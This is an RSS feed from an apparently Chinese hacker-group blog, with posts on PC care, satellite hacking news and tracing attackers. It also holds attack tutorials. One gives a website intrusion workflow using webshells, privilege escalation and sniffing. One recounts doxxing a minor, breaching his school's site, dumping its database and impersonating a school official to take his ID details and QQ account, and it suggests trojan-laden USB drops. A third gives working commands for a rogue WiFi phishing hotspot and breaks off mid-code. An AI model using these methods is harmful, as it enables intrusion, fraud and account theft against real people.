这个恐怕是人所共有的通病了，因为回 车键通常是我们完成一件事情时，最后 要敲击的一个键，大概是自我内心的兴 奋感，每个人在输入这个回车键时总是 那么大力而爽快地敲击。尤其是对于游 戏玩家来说，WASD已经早就看不见了 吧。而对于大多数使用者来说&quot;ENTER &quot;键恐怕是最早报废的。 六、长期不清理电脑系统 不知道多少人有清理电脑的习惯，但电 脑防火墙的防御力是有限的。长期不清 理电脑系统文件垃圾的后果就是，内存 被一些潜藏的垃圾程序序给占用了，直 接影响了电脑的运行速度。电脑运行慢 了，也就降低了工作效率，你用起来自 然也就不爽了。 七、一直使用同一张墙纸或具有静止画 面的屏保 无论是CRT或者是LCD的显示器，长时间 显示同样的画面，都会使得相应区域的 老化速度加快，长此下去，肯定会出现 显示失真的现象。要是你有机会看看机 房里的计算机，你就会发现，很多上面 已经有了一个明显的画面轮廓。电脑经 常换换墙画，也能给自己添加一份不一 样的心情。 八、给自己的计算机抽二手烟 就像香烟、雪茄或微小烟粒会伤害您的 肺一样，烟也可能会跑进你的软驱并危 及资料。烟雾也可能会覆盖CD-ROM、 DVD驱动器的读取头，造成读取错误。 烟头烟灰更有可能使得你的打印机和扫 描仪质量大大的下降，所以为了自己和 家人的健康，同时也为了您的爱机，建 议大家都减少或禁止边玩电脑边抽烟。 九、拿电脑主机来垫脚 许多人玩台式电脑时，无聊之时就喜欢 吧脚放在主机之上，且不说因为你脚的 不断抖动会导致电脑硬盘坏道，再之电 脑主机是通电的，脚放在上面也会增加 自己触电的危险。 10、在系统运行中过程中非正常重启 许多人使用电脑时，因为操作不当，导 致程序没有及时响应而卡住，为了节省 时间，直接将电脑重启。这样可能使得 系统丢失系统文件、存盘错误以及丢失 设置等。本来windows是提供了磁盘扫 描工具，可以纠正部分出错的文件，但 是因为扫描需要一段比较长的时间，很 多人都会中断他的工作，经常出现这样 的情况，还有可能使得硬盘上的数据的 出错几率和次数大大增加，从而使得整 个系统崩溃。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影新闻】高级黑客攻击卫星【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373343]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 07:59:09 +0800]]></pubDate>
        <description><![CDATA[

不过现在回过头来再看，其实当初盗号 的那些人不过是黑客当中的初学者罢 了，简直可以称为黑客界的“小辣鸡”。与 黑客中的“战斗机”们相比，差距简直不是 一点半点。因为“战斗机”们的目标，是星 辰蓝天。

根据9月9日莫斯科卡巴斯基实验室的研 究人员发表的声明显示，俄语黑客已不 再满足攻击地面上的设备，将目标瞄准 了天上的卫星!其中一个较为先进的组织 更是已经劫持了卫星的网络连接，并与 指挥和控制服务器进行通信。这简直是 赤裸裸的挑衅啊有木有!

实验室的高级安全研究员 Stefan 甚至还 向我们详细讲述了黑客攻击卫星的方 法：

首先，根据对卫星的具体位置，运行轨 迹和大小的确定以制造一个专门的连接 天线，利用一个低噪声块下的变频器( LNB )和一个专门的 DVB-S 调谐器( PCle 卡)在个人电脑上进行连接。由于大多数 现有的卫星都是 20 年前发射的，所以其 本身自带的网络安全设备非常有限，且 许多线路都是不加密的，因此只要在卫 星地面对应地点 600 英里的半径范围 内，黑客就可以连接到卫星的信号并进 行攻击，甚至控制卫星，如果脱离了这 个范围，就无法直接连接到卫星，而是 要通过地面的相应连接。

虽然看上去很简单，但实际操作起来并 不是那么容易。因为光是确定卫星对应 的地面位置，对于普通人来说就几乎是 一个不可能完成的任务了。你需要掌握 大量的相应知识和一定的相关资料才 行。

不过，本次黑客组织入侵卫星，并没有 进行大规模破坏性攻击，估计他们也只 是基于自己的兴趣爱好才会去做这件事 的吧。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影经验】查找黑客老巢的几种方法【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373341]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 07:54:19 +0800]]></pubDate>
        <description><![CDATA[

网络安全是一个综合的、复杂的工程， 任何网络安全措施都不能保证万无一 失。因此，对于一些重要的部门，一旦 网络遭到攻击，如何追踪网络攻击，追 查到攻击者并将其绳之以法，是十分必 要的。 追踪网络攻击就是找到事件发生的 源头。它有两个方面意义:一是指发现IP 地址、MAC地址或是认证的主机名;二是 指确定攻击者的身份。网络攻击者在实 施攻击之时或之后，必然会留下一些蛛 丝马迹，如登录的纪录，文件权限的改 变等虚拟证据，如何正确处理虚拟证据 是追踪网络攻击的最大挑战。 在追踪网络攻击中另一需要考虑的 问题是:IP地址是一个虚拟地址而不是一 个物理地址，IP地址很容易被伪造，大 部分网络攻击者采用IP地址欺骗技术。 这样追踪到的攻击源是不正确的。使得 以IP地址为基础去发现攻击者变得更加 困难。因此，必须采用一些方法，识破 攻击者的欺骗，找到攻击源的真正IP地 址。 ★ netstat命令----实时察看文击者 使用netstat命令可以获得所有联接 被测主机的网络用户的IP地址。 Windows系列、Unix系列、Linux等常用 网络操作系统都可以使用“netstat”命令。 使用“netstat”命令的缺点是只能显示 当前的连接，如果使用“netstat”命令时攻 击者没有联接，则无法发现攻击者的踪 迹。为此，可以使用Scheduler建立一个 日程安排，安排系统每隔一定的时间使 用一次“netstat”命令，并使用 netstat&gt;&gt;textfile格式把每次检查时得到 的数据写入一个文本文件中，以便需要 追踪网络攻击时使用。 ★ 日志数据--最详细的攻击记录 系统的日志数据提供了详细的用户 登录信息。在追踪网络攻击时，这些数 据是最直接的、有效的证据。但是有些 系统的日志数据不完善，网络攻击者也 常会把自己的活动从系统日志中删除。 因此，需要采取补救措施，以保证日志 数据的完整性。 Unix和Linux的日志 Unix和Linux的日志文件较详细的记 录了用户的各种活动，如登录的ID的用 户名、用户IP地址、端口号、登录和退 出时间、每个ID最近一次登录时间、登 录的终端、执行的命令，用户ID的账号 信息等。通过这些信息可以提供 ttyname(终端号)和源地址，是追踪网络 攻击的最重要的数据。 大部分网络攻击者会把自己的活动 记录从日记中删去，而且UOP和基于X Windows的活动往往不被记录，给追踪 者带来困难。为了解决这个问题，可以 在系统中运行wrapper工具，这个工具记 录用户的服务请求和所有的活动，且不 易被网络攻击者发觉，可以有效的防止 网络攻击者消除其活动纪录。 Windows NT和Windows 2000的日 志 Windows NT和Windows 2000有系 统日志、安全日志和应用程序日志等三 个日志，而与安全相关的数据包含在安 全日志中。安全日志记录了登录用户的 相关信息。安全日志中的数据是由配置 所决定的。因此，应该根据安全需要合 理进行配置，以便获得保证系统安全所 必需的数据。 但是，Windows NT和Windows 2000的安全日志存在重大缺陷，它不记 录事件的源，不可能根据安全日志中的 数据追踪攻击者的源地址。为了解决这 个问题，可以安装一个第三方的能够完 整记录审计数据的工具。 防火墙日志 作为网络系统中的“堡垒主机”，防火 墙被网络攻击者攻陷的可能性要小得 多。因此，相对而言防火墙日志数据不 太容易被修改，它的日志数据提供最理 想的攻击源的源地址信息。 但是，防火墙也不是不可能被攻破 的，它的日志也可能被删除和修改。攻 击者也可向防火墙发动拒绝服务攻击， 使防火墙瘫痪或至少降低其速度使其难 以对事件做出及时响应，从而破坏防火 墙日志的完整性。因此，在使用防火墙 日志之前，应该运行专用工具检查防火 墙日志的完整性，以防得到不完整的数 据，贻误追踪时机。 ★ 原始数据包----比较可靠的分析方法 由于系统主机都有被攻陷的可能， 因此利用系统日志获取攻击者的信息有 时就不可靠了。所以，捕获原始数据包 并对其数据进行分析，是确定攻击源的 另一个重要的、比较可靠的方法。 包头数据分析 表1是一个原始数据包的IP包头数 据。表中的第一行是最有用的数字。第 一行的最后8位代表源地址。本例中的地 址是0xd2、0x1d、0x84、0x96，对应的 IP地址是210.45.132.150。通过分析原始 数据包的包头数据，可以获得较为可靠 的网络攻击者的IP地址，因为这些数据 不会被删除或修改。但是，这种方法也 不是完美无缺的，如果攻击者对其数据 包进行加密，对收集到的数据包的分析 就没有什么用处了。 表1 一个IP包头数据 0x0000 45c0 c823 0000 d306 6002 2c06 d21d 8496 0x0010 22ab b365 c234 0000 0000 4066 dd1d 8818 0x0020 7034 ecf8 0000 5b88 7708 b901 4a88 de34 0x0030 9812 a5c6 0011 8386 9618 0000 a123 6907 0x0040 55c5 0023 3401 0000 5505 b1c5 0000 0000 0x0050 0000 0000 0000 0000 0000 捕获数据包 在一个交换网络环境下捕获数据包 比较困难，这主要是因为集线器和交换 机在数据交换中本质的不同。集线器采 用的是广播式传输，它不支持连接，而 是把包发送到除源端口外的所有端口， 与集线器相连的所有机器都可以捕获到 通过它的数据包。而交换机支持端到端 的连接，当一个数据包到达时交换机为 它建立一个暂时的连接，数据包通过这 个连接传到目的端口。所以，在交换环 境下抓包不是一件容易的事。为了获得 交换环境下的数据包，可以用下面方法 解决: (1)把交换机的一个“spanning port”(生成端口)配置成象一个集线器一 样，通过这个端口的数据包不再与目的 主机建立连接，而是广播式地发送给与 此端口相连的所有机器。设置一个包捕 获主机，便可以捕获到通过“spaning port”的数据包。但是，在同一时刻，交 换机只能由一个端口被设置成“spanning port”，因此，不能同时捕获多台主机的 数据包。 (2)在交换机之间，或路由器和交换 机之间安装一个集线器。通过集线器的 数据包便可以被捕获主机捕获。 在用捕获数据包获取攻击者的源地 址的方法中，有两个问题需要注意:一是 保证包捕获主机由足够的存储空间，因 为如果在捕获数据包时网络吞吐量很大 的话，硬盘很快会被填满;二是在分析数 据包时，可编制一段小程序自动分析， 手工分析这么多的数据是不可能的。 ★ 搜索引擎----也许会有外的惊喜 利用搜索引擎获得网络攻击者的源 地址，从理论上讲没有什么根据，但是 它往往会收到意想不到的效果，给追踪 工作带来意外惊喜。黑客们在Internet上 往往有他们自己的虚拟社区，他们在那 儿讨论网络攻击技术方法，同时炫耀自 己的战果。因此，在那里经常会暴露他 们攻击源的信息甚至他们的身份。 利用搜索引擎追踪网络攻击者的IP 地址就是使用一些好的搜索引擎(如搜狐 的搜索引擎)搜索网页，搜索关键词是攻 击主机所在域名、IP地址或主机名，看 是否有贴子是关于对上述关键词所代表 的机器进行攻击的。虽然网络攻击者一 般在发贴子时会使用伪造的源地址，但 也有很多人在这时比较麻痹而使用了真 实的源地址。因此，往往可以用这种方 法意外地发现网络攻击者的踪迹。 由于不能保证网络中贴子源地址的 真实性，所以，不加分析的使用可能会 牵连到无辜的用户。然而，当与其方法 结合起来使用时，使用搜索引擎还是非 常有用的。

剑术是永无止境的—剑魂 电脑上的一些小技巧


(240) (20]]></description>
    </item>
        <item>
        <title><![CDATA[Untitled]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/359170]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Sat, 26 Sep 2015 16:48:48 +0800]]></pubDate>
        <description><![CDATA[〖找客服下载〗]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影】友情链接]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358996]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 24 Sep 2015 23:48:25 +0800]]></pubDate>
        <description><![CDATA[落叶似秋暂未添加暂未添加
  ]]></description>
    </item>
        <item>
        <title><![CDATA[【留言板】邪影留言板]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358982]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 24 Sep 2015 22:43:23 +0800]]></pubDate>
        <description><![CDATA[欢迎大家留言]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】入侵网站思路]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358953]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 24 Sep 2015 20:31:43 +0800]]></pubDate>
        <description><![CDATA[影网安组 组长QQ2296888307
官网http://xieying.wodemo.com
1.X-SCAN扫描目标服务器(一般是没有漏洞,收集信息用吧),看看IIS写权限有漏洞吗,用53溢出或者其他0day和溢出工具试试==&amp; gt;手工查看主站漏洞,先用google+阿d批量扫注入,再手工测试漏洞(例如注入,上传,爆库等等),同时用AC4扫(它在注入方面很细致)==获得 WEBSHELL==提权获得3389 (也许有时候把第3条放在第一条前,更合理一些,直接嗅探方便些)。

2.用http://www.seologs.comip-domains.html将主站列同服务器反解析域名,旁注,==&gt;获得WEBSHELL==&gt;提权获得3389

=======渗透过程(选择比较近的网段,同一个网关才好嗅探啊)==========

3.用IIS写权限测试80,8080端口整个网段,用Portready扫描53主机溢出(或者其他漏洞溢出)==&gt;如果有写权限主机,那么提权,获得系统权限,如果可以溢出,获得系统权限==&gt;tracert目标主机,是否同一个网关==&gt;得到3389,用CAIN嗅探目标主机 80,21,3389等==&gt;获得目标WEBSHELL==&gt;提权获得目标主机3389

4.用Portready扫描同网段3389,80,8080,8000满足3389+80,8000,8080条件的服务器,反解析域名,手工测试漏洞,同时用AC4扫描网站列表==&gt;获得webshell,提权得到系统权限==&gt;tracert目标主机,是否同一个网关==&gt; 得到 3389,用CAIN嗅探目标主机80,21,3389等==&gt;获得WEBSHELL==&gt;提权获得3389。

5.用Portready扫描同网段80,8000,8080(主机,(除去上一条扫到的3389主机列表),反解析IP,生成列表,手工测试每个网站, 同时用AC4扫描网站列表(如果网站有漏洞,获得WEBSHELL==&gt;提权获得3389==&gt;tracert目标主机,是否同一个网关== &gt;cain嗅探目标主机==&gt;获得目标主机WEBSHELL==&gt;提权获得目标主机3389),同时用x-scan扫描同网段所有主机 (如果有漏洞,提权得到3389==&gt;tracert目标主机,是否同一个网关==&gt;cain嗅探目标主机==&gt;获得目标主机 WEBSHELL==&gt;提权获得目标主机3389)

6.如果以上均没有漏洞,那就选择网段远一点,或者整个网段,返回第3条。

*注：

1.acunetix web vulnerability Scanner 4 简称AC4

2.另外以下一种方式走的通,就不用往下走了

3.个人爱好用Portready,是因为他快速准确,当然你也可以用别的.

4.AC4扫描很耗时间,扫一个网站大约需要3-5个小时,扫整个网段大约需要8个小时左右
影网安组 组长QQ2296888307
官网http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】社工思路]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358952]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 24 Sep 2015 20:29:55 +0800]]></pubDate>
        <description><![CDATA[提供几个思路给大家，欢迎补充。

在这里我把我们要社工的人叫做A。
邪影网安组  组长QQ2296888307
官网http://xieying.wodemo.com
第一、先在网上搜索他的QQ号，一般会得到百度贴吧、百度知道等一系列bbs。其中最有用的就是百度贴吧，里面包含了很多信息，比如学校、班级、年龄、生日、小号等。而这里面，小号是最有价值的。一般人不敢把自己的隐私发到大号上。

实例：有天上网时，朋友发我一张图片，里面是A盗用我的ID在卖刷钻技术。当时也无聊而且我最烦刷东西的。就手贱社下。因为A使用的是我的ID，而且朋友发的图片里有他的QQ头像，我就进入“QQ查找”用我的ID做关键字，出来了4个。我就一个个打开，找到与之前那张图片里头像一样的。记录下QQ号。百度 google之。找到了他的百度贴吧，一个个翻看他的贴吧与参与的主题，发现了他关注的人只有7个，我就一个个社，发现里面有一个是他的小号，记录下他小号的QQ，社他小号，看他小号里的贴吧，找到了一个叫“输入你的名字，看能不能找到和你同名同姓的”果然，找到了他的姓名。又看到他关注的贴吧里有个学校的名字，不多说，八成是他的学校，是个初中的。百度那个学校的名字，还有网站，网站里还有BBS。果断去黑，后来盲打xss进后台，上传图片，burp改包，传一句话，拿下shell。脱裤，以他的QQ为关键字，在数据库里搜索，找到密码。登录QQ邮箱，错误。于是我拿他的姓名的开头字母加上他的密码，成功了。然后加他为好友，说我是他小学同学，成功骗出手机号码，然后给他打电话，说我是学校的教导主任(之前入侵网站时，看到了教导主任的名字)，说我们学校的入学档案系统受到了损坏，有一部分的人的信息不全了，我们需要重新入库，请问你是不是叫xxx在yyy学校ZZZ班级。对方说是，然后我说，你的信息里，有三样地方受到了损坏。你父母的姓名，你的身份证号码，你的家庭住址。然后他就乖乖说了(我和他扯了有快半个小时，他才相信我，这里我只把主要的对话和大家说下)，挂上电话，QQ申诉之，有了父母姓名 身份证号码 家庭住址，QQ申诉的成功率很大，再加上我有QQ密码，我申请了4次。终于第二天上午，成功了。果断改密码 改密保问题 最后把他签名改成，学什么不好，学刷钻。然后留下helen之名，洗洗睡觉。

第二、

如果对方和你住的很近，你可以买个一个G的u盘，在里面放入启动木马，或者是把木马捆绑到u盘里某个软件上。去他家门口，把u盘丢入他家门口，记住，前期一定要做好侦查，他大概什么时候出门，千万别让u盘被其他人拾走。等他拿到u盘后，很多人都会把u盘插入自家电脑里，看看里面有什么东西(好奇心害死猫)。然后你就回家等你的肉鸡上线吧。然后不用我说了吧，QQ密码肯定到手

实例：我没有实验过，这是在书上看到的。

其实还有很多，只是手机写文章太累，就不说了，下面我就说说彩笔的经验之谈吧。

第一，

打电话时，千万不要紧张，找张纸，把对方可能问的问题都写上去

第二，

在加他为好友前，最好做好充足的准备工作。

第三，

对任何收集信息的环节都不要抱太大希望，但信心一定要有，否则你会因为无聊而放弃

第四，

一定要仔细，任何细节都不要放过，

第五，

你还可以加他说是他小学同学(一般很少有人记得)，获取信任后，说你的游戏装备那么好、等级那么高、我的号被封了，等一系列的话，骗出密码，如果不行，说你手里有个外挂，很nb。可以无限血。然后..懂得

我之所以写这篇文章，是因为我实在够了网上的那些社工文章，写了半天全是装逼的，毛点思路都没提供。

我不是社工牛，我也不是装逼狗，我只是发表下我自己的观点与看法，有什么不足，欢迎讨论
邪影网安组  组长QQ2296888307
官网http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】利用kali做公共WIFI钓鱼热点]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358858]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 23 Sep 2015 13:58:47 +0800]]></pubDate>
        <description><![CDATA[【邪影教程】邪影
从至少一年前我就一直想在自己跑kali的笔记本上架个钓鱼热点。然而由于网上的教程的nat写得有问题，别人写好的脚本和我电脑有些互不待见，最接近成功的一次只做到了qq能聊天，百度都上不去。
邪影官网http://xieying.wodemo.com
而最近忽然意识到了问题的所在，成功实现了建立wifi热点，dns劫持，js注入，图片嗅探，和BEEF结合对用户浏览器进行攻击测试。

故写此文分享给大家，希望与之前的我有一样困惑的同志们能有所收获。

建立热点

工具：isc-dhcp-server  ；Aircrack-ng套件；iptables

建立过程：

首先写dhcp配置文件/etc/dhcp/dhcpd.conf

写入如下内容：

&lt;span class=&quot;pln&quot;&gt;authoritative&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
 
default&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;lease&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;time &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;700&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
max&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;lease&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;time &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;8000&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
 
subnet &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; netmask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
option routers &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
option subnet&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
 
option domain&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;servers &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
 
range &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.10&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.100&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;pun&quot;&gt;}&lt;/span&gt;
这里以10.0.0.1作为网关和dns服务器地址。

然后我们处理无线网卡

&lt;span class=&quot;pln&quot;&gt;ifconfig wlan1 down           &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#wlan1修改成你的网卡&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ng start wlan1&lt;/span&gt;
上述命令可以防止出现：Error: Got channel -1, expected a value &gt; 0.

然后用airbase建立热点

&lt;span class=&quot;pln&quot;&gt;airbase&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ng &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;e &lt;/span&gt;&lt;span class=&quot;typ&quot;&gt;Fishing&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;c &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; mon0&lt;/span&gt;
热点的网络流量会被虚拟到at0这块网卡上面

&lt;span class=&quot;pln&quot;&gt;ifconfig at0 up
ifconfig at0 &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; netmask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
route add &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;net &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; netmask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; gw &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;
打开ip转发

&lt;span class=&quot;pln&quot;&gt;echo &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ipv4&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ip_forward&lt;/span&gt;
开启dhcp

&lt;span class=&quot;pln&quot;&gt;dhcpd &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;cf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;etc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcp&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcpd&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;conf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;pf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcpd&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;pid at0
service isc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcp&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;server start&lt;/span&gt;
然后可以试着用手机连接，应该可以连上但上不了网

于是配置NAT

&lt;span class=&quot;pln&quot;&gt;iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A POSTROUTING &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;o eth0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j MASQUERADE &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#对eth0进行源nat&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A FORWARD &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i wlan1 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;o eth0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j ACCEPT &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#把无线网卡流量转发到有线网卡（或者什么能上网的网卡）上面&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
